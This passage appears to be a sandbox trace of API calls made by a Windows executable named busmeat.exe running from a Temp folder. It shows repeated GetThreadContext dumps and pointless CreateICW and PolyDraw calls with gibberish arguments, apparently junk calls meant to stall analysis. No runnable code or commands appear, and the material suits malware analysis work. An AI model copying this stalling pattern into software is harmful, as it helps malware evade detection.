	[0066.317] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.317] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.317] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.317] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.317] GetConsoleCP () returned 0x0
	[0066.317] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.318] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.318] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.318] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.318] GetConsoleCP () returned 0x0
	[0066.318] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 